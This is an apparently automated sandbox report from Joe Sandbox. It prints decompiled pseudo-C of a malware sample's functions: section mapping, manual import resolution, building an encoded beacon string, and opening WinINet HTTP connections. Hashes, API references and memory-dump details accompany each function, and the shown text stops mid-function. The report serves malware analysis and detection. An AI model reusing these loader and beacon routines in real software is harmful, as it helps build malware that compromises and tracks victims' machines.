Opcode ID: 7752c77afcbcd24e49e1d06c42e18f922df8dbfab1a36fcb7e960a63200854d4
Instruction ID: e8584db34bd0864965919452e9e7a980232bfbaa31af8ac4f809374209f4ae08
Opcode Fuzzy Hash: 7752c77afcbcd24e49e1d06c42e18f922df8dbfab1a36fcb7e960a63200854d4
Instruction Fuzzy Hash: 1421C8B2500208BFD7119FA4DC84EAF3BACEB44355F14443AFA05F72E0D6758D458B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040110B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E0040110B(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E00401459(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}

0x00401114
0x0040111b
0x0040111c
0x0040111d
0x0040111e
0x0040111f
0x00401130
0x00401134
0x00401148
0x0040114b
0x0040114e
0x00401155
0x00401158
0x0040115f
0x00401162
0x00401165
0x00401168
0x0040116d
0x004011a8
0x0040116f
0x00401172
0x00401178
0x0040117d
0x00401181
0x0040119f
0x00401183
0x0040118a
0x00401198
0x00401198
0x00401181
0x004011b0

APIs

NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74CB4EE0,00000000,00000000,?), ref: 00401168

Part of subcall function 00401459: NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,0040117D,00000002,00000000,?,?,00000000,?,?,0040117D,00000002), ref: 00401486

memset.NTDLL ref: 0040118A

Strings

@, xrefs: 00401158

Memory Dump Source

Source File: 00000000.00000002.523151109.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.523151109.0000000000403000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_server.jbxd

Similarity

API ID: Section$CreateViewmemset
String ID: @
API String ID: 2533685722-2766056989
Opcode ID: 232f3a30dcae69e5963f78d425f34a7bb228badb3687228d0737aca19cbd4a2f
Instruction ID: 902b655066e6f1ef2c1749b59dddf7677aeeae3e3ffa194d207bc0e2506ab0da
Opcode Fuzzy Hash: 232f3a30dcae69e5963f78d425f34a7bb228badb3687228d0737aca19cbd4a2f
Instruction Fuzzy Hash: 38214DB1D00209AFDB10DFA9C8809EEFBB9FF48314F10453AE616F7250D734AA048B64

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401000(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0x404180;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x18bad598));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71); // executed
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x43175ac3;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x43175a44;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x43175ac3;
										}
										 *_v16 = _t55;
										_t58 = _t59 * 4 - 0xc5d6b08;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0xbce8a5bb;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}

0x00401000
0x00401009
0x0040100e
0x00401014
0x0040101d
0x00401023
0x00401025
0x00401028
0x0040102d
0x00401034
0x00401034
0x00401038
0x0040103e
0x00401043
0x00000000
0x00000000
0x00401049
0x00401053
0x00401055
0x00401058
0x0040105b
0x0040105f
0x00401067
0x00401069
0x0040106c
0x004010d4
0x004010d4
0x004010d8
0x00000000
0x00000000
0x00401071
0x00401077
0x00401079
0x0040108c
0x0040108f
0x0040108f
0x0040108f
0x00401093
0x0040107b
0x0040107b
0x00401083
0x00401085
0x00000000
0x00000000
0x00000000
0x00000000
0x00401085
0x00401073
0x00401073
0x00401087
0x00401087
0x00401087
0x00401096
0x00401099
0x0040109b
0x004010a2
0x0040109d
0x0040109d
0x0040109d
0x004010aa
0x004010b0
0x004010b2
0x004010e2
0x004010b4
0x004010b4
0x004010b7
0x004010b9
0x004010c1
0x004010c1
0x004010c6
0x004010c8
0x004010cf
0x004010d1
0x004010d1
0x004010d1
0x00000000
0x004010d1
0x00000000
0x004010b2
0x00401061
0x00401061
0x00401065
0x00000000
0x00000000
0x00401065
0x004010e5
0x004010e5
0x004010ec
0x004010f1
0x00000000
0x00000000
0x004010f7
0x00401102
0x00000000
0x00401102
0x004010f9
0x004010f9
0x004010ff
0x00000000
0x004010ff
0x0040102d
0x00401103
0x00401108

APIs

LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 00401038
GetProcAddress.KERNEL32(?,00000000), ref: 004010AA

Memory Dump Source

Source File: 00000000.00000002.523151109.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.523151109.0000000000403000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_server.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 2dcea5e48fff28511091e29e6b6fdd6310ca7cbb91058c8f3908306a93af5937
Instruction ID: 069ebb05316bb06cd12a0d66d81b5033da0b120a8bf666a49d589dbfec54084e
Opcode Fuzzy Hash: 2dcea5e48fff28511091e29e6b6fdd6310ca7cbb91058c8f3908306a93af5937
Instruction Fuzzy Hash: 65314975E0020ADFDB14CF59C980AAAB7F4BF04301B24407AD981FB7A0E779DA81CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00401459 Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00401459(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}

0x0040146b
0x00401471
0x0040147f
0x00401486
0x0040148b
0x00401491
0x00000000
0x00401492
0x00000000

APIs

NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,0040117D,00000002,00000000,?,?,00000000,?,?,0040117D,00000002), ref: 00401486

Memory Dump Source

Source File: 00000000.00000002.523151109.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.523151109.0000000000403000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_server.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction ID: 2ffffb3a0e1fef12aabb3d262299a14fd526f72662b70b4f27343324966f1358
Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction Fuzzy Hash: E9F037B590020CFFDB11DFA5CC85CAFBBBDEB44354B10493AF552E50A0D6309E089B60

Uniqueness

Uniqueness Score: -1.00%

Function 00793CE0 Relevance: 37.7, APIs: 25, Instructions: 222
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E00793CE0(long __eax, void* __ecx, void* __edx, void* _a12, intOrPtr _a20) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v48;
				intOrPtr _v56;
				void* __edi;
				intOrPtr _t30;
				void* _t31;
				intOrPtr _t33;
				intOrPtr _t34;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				void* _t40;
				intOrPtr _t41;
				int _t44;
				intOrPtr _t45;
				int _t48;
				void* _t49;
				intOrPtr _t53;
				intOrPtr _t59;
				intOrPtr _t63;
				intOrPtr* _t65;
				void* _t66;
				intOrPtr _t71;
				intOrPtr _t77;
				intOrPtr _t80;
				intOrPtr _t83;
				int _t86;
				intOrPtr _t88;
				int _t91;
				intOrPtr _t93;
				int _t96;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t105;
				void* _t106;
				intOrPtr _t107;
				long _t109;
				intOrPtr* _t110;
				intOrPtr* _t111;
				long _t112;
				int _t113;
				void* _t114;
				void* _t115;
				void* _t116;
				void* _t119;
				void* _t120;
				void* _t122;
				void* _t123;

				_t103 = __edx;
				_t99 = __ecx;
				_t120 =  &_v16;
				_t112 = __eax;
				_t30 =  *0x79a3e0; // 0x2d29c20
				_v4 = _t30;
				_v8 = 8;
				_t31 = RtlAllocateHeap( *0x79a2d8, 0, 0x800); // executed
				_t98 = _t31;
				if(_t98 != 0) {
					if(_t112 == 0) {
						_t112 = GetTickCount();
					}
					_t33 =  *0x79a018; // 0xffd58d38
					asm("bswap eax");
					_t34 =  *0x79a014; // 0x3a87c8cd
					asm("bswap eax");
					_t35 =  *0x79a010; // 0xd8d2f808
					asm("bswap eax");
					_t36 =  *0x79a00c; // 0xeec43f25
					asm("bswap eax");
					_t37 =  *0x79a348; // 0x258d5a8
					_t3 = _t37 + 0x79b5ac; // 0x74666f73
					_t113 = wsprintfA(_t98, _t3, 2, 0x3d18f, _t36, _t35, _t34, _t33,  *0x79a02c,  *0x79a004, _t112);
					_t40 = E0079467F();
					_t41 =  *0x79a348; // 0x258d5a8
					_t4 = _t41 + 0x79b575; // 0x74707526
					_t44 = wsprintfA(_t113 + _t98, _t4, _t40);
					_t122 = _t120 + 0x38;
					_t114 = _t113 + _t44;
					if(_a12 != 0) {
						_t93 =  *0x79a348; // 0x258d5a8
						_t8 = _t93 + 0x79b508; // 0x732526
						_t96 = wsprintfA(_t114 + _t98, _t8, _a12);
						_t122 = _t122 + 0xc;
						_t114 = _t114 + _t96;
					}
					_t45 =  *0x79a348; // 0x258d5a8
					_t10 = _t45 + 0x79b246; // 0x74636126
					_t48 = wsprintfA(_t114 + _t98, _t10, 0);
					_t123 = _t122 + 0xc;
					_t115 = _t114 + _t48; // executed
					_t49 = E0079472F(_t99); // executed
					_t105 = _t49;
					if(_t105 != 0) {
						_t88 =  *0x79a348; // 0x258d5a8
						_t12 = _t88 + 0x79b8d0; // 0x736e6426
						_t91 = wsprintfA(_t115 + _t98, _t12, _t105);
						_t123 = _t123 + 0xc;
						_t115 = _t115 + _t91;
						HeapFree( *0x79a2d8, 0, _t105);
					}
					_t106 = E00791340();
					if(_t106 != 0) {
						_t83 =  *0x79a348; // 0x258d5a8
						_t14 = _t83 + 0x79b8c5; // 0x6f687726
						_t86 = wsprintfA(_t115 + _t98, _t14, _t106);
						_t123 = _t123 + 0xc;
						_t115 = _t115 + _t86;
						HeapFree( *0x79a2d8, 0, _t106);
					}
					_t107 =  *0x79a3cc; // 0x2d29600
					_a20 = E00796B59( &E0079A00A, _t107 + 4);
					_t53 =  *0x79a36c; // 0x2d295b0
					_t109 = 0;
					if(_t53 != 0) {
						_t80 =  *0x79a348; // 0x258d5a8
						_t17 = _t80 + 0x79b8be; // 0x3d736f26
						wsprintfA(_t115 + _t98, _t17, _t53);
					}
					if(_a20 != _t109) {
						_t116 = RtlAllocateHeap( *0x79a2d8, _t109, 0x800);
						if(_t116 != _t109) {
							E00792915(GetTickCount());
							_t59 =  *0x79a3cc; // 0x2d29600
							__imp__(_t59 + 0x40);
							asm("lock xadd [eax], ecx");
							_t63 =  *0x79a3cc; // 0x2d29600
							__imp__(_t63 + 0x40);
							_t65 =  *0x79a3cc; // 0x2d29600
							_t66 = E00796675(1, _t103, _t98,  *_t65); // executed
							_t119 = _t66;
							asm("lock xadd [eax], ecx");
							if(_t119 != _t109) {
								StrTrimA(_t119, 0x799280);
								_push(_t119);
								_t71 = E00797563();
								_v20 = _t71;
								if(_t71 != _t109) {
									_t110 = __imp__;
									 *_t110(_t119, _v8);
									 *_t110(_t116, _v8);
									_t111 = __imp__;
									 *_t111(_t116, _v32);
									 *_t111(_t116, _t119);
									_t77 = E007921A6(0xffffffffffffffff, _t116, _v28, _v24); // executed
									_v56 = _t77;
									if(_t77 != 0 && _t77 != 0x10d2) {
										E007963F6();
									}
									HeapFree( *0x79a2d8, 0, _v48);
									_t109 = 0;
								}
								HeapFree( *0x79a2d8, _t109, _t119);
							}
							RtlFreeHeap( *0x79a2d8, _t109, _t116); // executed
						}
						HeapFree( *0x79a2d8, _t109, _a12);
					}
					RtlFreeHeap( *0x79a2d8, _t109, _t98); // executed
				}
				return _v16;
			}

0x00793ce0
0x00793ce0
0x00793ce0
0x00793cf5
0x00793cf7
0x00793cfc
0x00793d00
0x00793d08
0x00793d0e
0x00793d12
0x00793d1a
0x00793d22
0x00793d22
0x00793d24
0x00793d30
0x00793d3f
0x00793d44
0x00793d47
0x00793d4c
0x00793d4f
0x00793d54
0x00793d57
0x00793d63
0x00793d70
0x00793d72
0x00793d78
0x00793d7d
0x00793d88
0x00793d8a
0x00793d8d
0x00793d93
0x00793d95
0x00793d9e
0x00793da9
0x00793dab
0x00793dae
0x00793dae
0x00793db0
0x00793db5
0x00793dc1
0x00793dc3
0x00793dc6
0x00793dc8
0x00793dcd
0x00793dd1
0x00793dd3
0x00793dd8
0x00793de4
0x00793de6
0x00793df2
0x00793df4
0x00793df4
0x00793dff
0x00793e03
0x00793e05
0x00793e0a
0x00793e16
0x00793e18
0x00793e24
0x00793e26
0x00793e26
0x00793e2c
0x00793e3f
0x00793e43
0x00793e48
0x00793e4c
0x00793e4f
0x00793e54
0x00793e5e
0x00793e60
0x00793e67
0x00793e7f
0x00793e83
0x00793e8f
0x00793e94
0x00793e9d
0x00793eae
0x00793eb2
0x00793ebb
0x00793ec1
0x00793ec9
0x00793ece
0x00793edb
0x00793ee1
0x00793eed
0x00793ef3
0x00793ef4
0x00793ef9
0x00793eff
0x00793f05
0x00793f0c
0x00793f13
0x00793f19
0x00793f20
0x00793f24
0x00793f2f
0x00793f34
0x00793f3a
0x00793f43
0x00793f43
0x00793f54
0x00793f5a
0x00793f5a
0x00793f64
0x00793f64
0x00793f72
0x00793f72
0x00793f83
0x00793f83
0x00793f91
0x00793f91
0x00793fa2

APIs

RtlAllocateHeap.NTDLL ref: 00793D08
GetTickCount.KERNEL32 ref: 00793D1C
wsprintfA.USER32 ref: 00793D6B
wsprintfA.USER32 ref: 00793D88
wsprintfA.USER32 ref: 00793DA9
wsprintfA.USER32 ref: 00793DC1
wsprintfA.USER32 ref: 00793DE4
HeapFree.KERNEL32(00000000,00000000), ref: 00793DF4
wsprintfA.USER32 ref: 00793E16
HeapFree.KERNEL32(00000000,00000000), ref: 00793E26
wsprintfA.USER32 ref: 00793E5E
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 00793E79
GetTickCount.KERNEL32 ref: 00793E89
RtlEnterCriticalSection.NTDLL(02D295C0), ref: 00793E9D
RtlLeaveCriticalSection.NTDLL(02D295C0), ref: 00793EBB

Part of subcall function 00796675: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,00793ECE,00000000,02D29600), ref: 007966A0
Part of subcall function 00796675: lstrlen.KERNEL32(00000000,?,7491C740,00793ECE,00000000,02D29600), ref: 007966A8
Part of subcall function 00796675: strcpy.NTDLL ref: 007966BF
Part of subcall function 00796675: lstrcat.KERNEL32(00000000,00000000), ref: 007966CA
Part of subcall function 00796675: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,00793ECE,?,7491C740,00793ECE,00000000,02D29600), ref: 007966E7

StrTrimA.SHLWAPI(00000000,00799280,00000000,02D29600), ref: 00793EED

Part of subcall function 00797563: lstrlen.KERNEL32(02D29C10,00000000,00000000,00000000,00793EF9,00000000), ref: 00797573
Part of subcall function 00797563: lstrlen.KERNEL32(?), ref: 0079757B
Part of subcall function 00797563: lstrcpy.KERNEL32(00000000,02D29C10), ref: 0079758F
Part of subcall function 00797563: lstrcat.KERNEL32(00000000,?), ref: 0079759A

lstrcpy.KERNEL32(00000000,?), ref: 00793F0C
lstrcpy.KERNEL32(00000000,?), ref: 00793F13
lstrcat.KERNEL32(00000000,?), ref: 00793F20
lstrcat.KERNEL32(00000000,00000000), ref: 00793F24

Part of subcall function 007921A6: WaitForSingleObject.KERNEL32(00000000,74CF81D0,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00792258

HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 00793F54
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00793F64
RtlFreeHeap.NTDLL(00000000,00000000,00000000,02D29600), ref: 00793F72
HeapFree.KERNEL32(00000000,?), ref: 00793F83
RtlFreeHeap.NTDLL(00000000,00000000), ref: 00793F91

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: Heap$Freewsprintf$lstrcatlstrlen$lstrcpy$AllocateCountCriticalSectionTickTrim$EnterLeaveObjectSingleWaitstrcpy
String ID:
API String ID: 186568778-0
Opcode ID: 34ea20a95a2d25211f6716190c2a9f180017808a2842f94cbf43339bf289e359
Instruction ID: cd15a86b3b06d097c01e60fda14447f035ab35ab90957c755aaf30d60b8083c8
Opcode Fuzzy Hash: 34ea20a95a2d25211f6716190c2a9f180017808a2842f94cbf43339bf289e359
Instruction Fuzzy Hash: AD71A371501205FFDB21DB68EC49E5737F8EB88700B054616F909D3231E63ED906DBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00797B83 Relevance: 19.6, APIs: 13, Instructions: 126
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00797B83(void* __eax, void* __ecx, long __esi, char* _a4) {
				void _v8;
				long _v12;
				void _v16;
				void* _t34;
				void* _t38;
				void* _t40;
				char* _t56;
				long _t57;
				void* _t58;
				intOrPtr _t59;
				long _t65;

				_t65 = __esi;
				_t58 = __ecx;
				_v16 = 0xea60;
				__imp__( *(__esi + 4));
				_v12 = __eax + __eax;
				_t56 = E007933DC(__eax + __eax + 1);
				if(_t56 != 0) {
					if(InternetCanonicalizeUrlA( *(__esi + 4), _t56,  &_v12, 0) == 0) {
						E007961DA(_t56);
					} else {
						E007961DA( *(__esi + 4));
						 *(__esi + 4) = _t56;
					}
				}
				_t34 = InternetOpenA(_a4, 0, 0, 0, 0x10000000); // executed
				 *(_t65 + 0x10) = _t34;
				if(_t34 == 0 || InternetSetStatusCallback(_t34, E00797B18) == 0xffffffff) {
					L15:
					return GetLastError();
				} else {
					ResetEvent( *(_t65 + 0x1c));
					_t38 = InternetConnectA( *(_t65 + 0x10),  *_t65, 0x50, 0, 0, 3, 0, _t65); // executed
					 *(_t65 + 0x14) = _t38;
					if(_t38 != 0 || GetLastError() == 0x3e5 && E007916B2( *(_t65 + 0x1c), _t58, 0xea60) == 0) {
						_t59 =  *0x79a348; // 0x258d5a8
						_t15 = _t59 + 0x79b845; // 0x544547
						_v8 = 0x84404000;
						_t40 = HttpOpenRequestA( *(_t65 + 0x14), _t15,  *(_t65 + 4), 0, 0, 0, 0x84404000, _t65); // executed
						 *(_t65 + 0x18) = _t40;
						if(_t40 == 0) {
							goto L15;
						}
						_t57 = 4;
						_v12 = _t57;
						if(InternetQueryOptionA(_t40, 0x1f,  &_v8,  &_v12) != 0) {
							_v8 = _v8 | 0x00000100;
							InternetSetOptionA( *(_t65 + 0x18), 0x1f,  &_v8, _t57);
						}
						if(InternetSetOptionA( *(_t65 + 0x18), 6,  &_v16, _t57) == 0 || InternetSetOptionA( *(_t65 + 0x18), 5,  &_v16, _t57) == 0) {
							goto L15;
						} else {
							return 0;
						}
					} else {
						goto L15;
					}
				}
			}

0x00797b83
0x00797b83
0x00797b8e
0x00797b95
0x00797b9d
0x00797ba7
0x00797bad
0x00797bc0
0x00797bd0
0x00797bc2
0x00797bc5
0x00797bca
0x00797bca
0x00797bc0
0x00797be0
0x00797be6
0x00797beb
0x00797cd4
0x00000000
0x00797c06
0x00797c09
0x00797c1c
0x00797c22
0x00797c27
0x00797c4f
0x00797c62
0x00797c6c
0x00797c6f
0x00797c75
0x00797c7a
0x00000000
0x00000000
0x00797c7e
0x00797c8a
0x00797c9b
0x00797c9d
0x00797cae
0x00797cae
0x00797cbe
0x00000000
0x00797cd0
0x00000000
0x00797cd0
0x00000000
0x00000000
0x00000000
0x00797c27

APIs

lstrlen.KERNEL32(?,00000008,74CB4D40), ref: 00797B95

Part of subcall function 007933DC: RtlAllocateHeap.NTDLL(00000000,00000000,007962F6), ref: 007933E8

InternetCanonicalizeUrlA.WININET(?,00000000,00000000,00000000), ref: 00797BB8
InternetOpenA.WININET(00000000,00000000,00000000,00000000,10000000), ref: 00797BE0
InternetSetStatusCallback.WININET(00000000,00797B18), ref: 00797BF7
ResetEvent.KERNEL32(?), ref: 00797C09
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,?), ref: 00797C1C
GetLastError.KERNEL32 ref: 00797C29
HttpOpenRequestA.WININET(?,00544547,?,00000000,00000000,00000000,84404000,?), ref: 00797C6F
InternetQueryOptionA.WININET(00000000,0000001F,00000000,00000000), ref: 00797C8D
InternetSetOptionA.WININET(?,0000001F,00000100,00000004), ref: 00797CAE
InternetSetOptionA.WININET(?,00000006,0000EA60,00000004), ref: 00797CBA
InternetSetOptionA.WININET(?,00000005,0000EA60,00000004), ref: 00797CCA
GetLastError.KERNEL32 ref: 00797CD4

Part of subcall function 007961DA: RtlFreeHeap.NTDLL(00000000,00000000,00796383,00000000,?,00000000,00000000), ref: 007961E6

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: Internet$Option$ErrorHeapLastOpen$AllocateCallbackCanonicalizeConnectEventFreeHttpQueryRequestResetStatuslstrlen
String ID:
API String ID: 2290446683-0
Opcode ID: 2a181f7079d3d18f8c54c6323ca9df4d9be0bab9497198813f2040cb91c1bb71
Instruction ID: 57d455eefea004aae8e721f6ba788c920d54147a504c27676660dc6c00896e17
Opcode Fuzzy Hash: 2a181f7079d3d18f8c54c6323ca9df4d9be0bab9497198813f2040cb91c1bb71
Instruction Fuzzy Hash: C8418071500608BFDF359F65ED89E6B7BBDEB45700F104919F602D11A0E7389A45CB34

Uniqueness

Uniqueness Score: -1.00%

Function 00797FC5 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E00797FC5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x790000;
				_t115 = _t139[3] + 0x790000;
				_t131 = _t139[4] + 0x790000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x790000;
				_v16 = _t139[5] + 0x790000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x790002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x79a1c0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x79a1c0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x79a1c0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
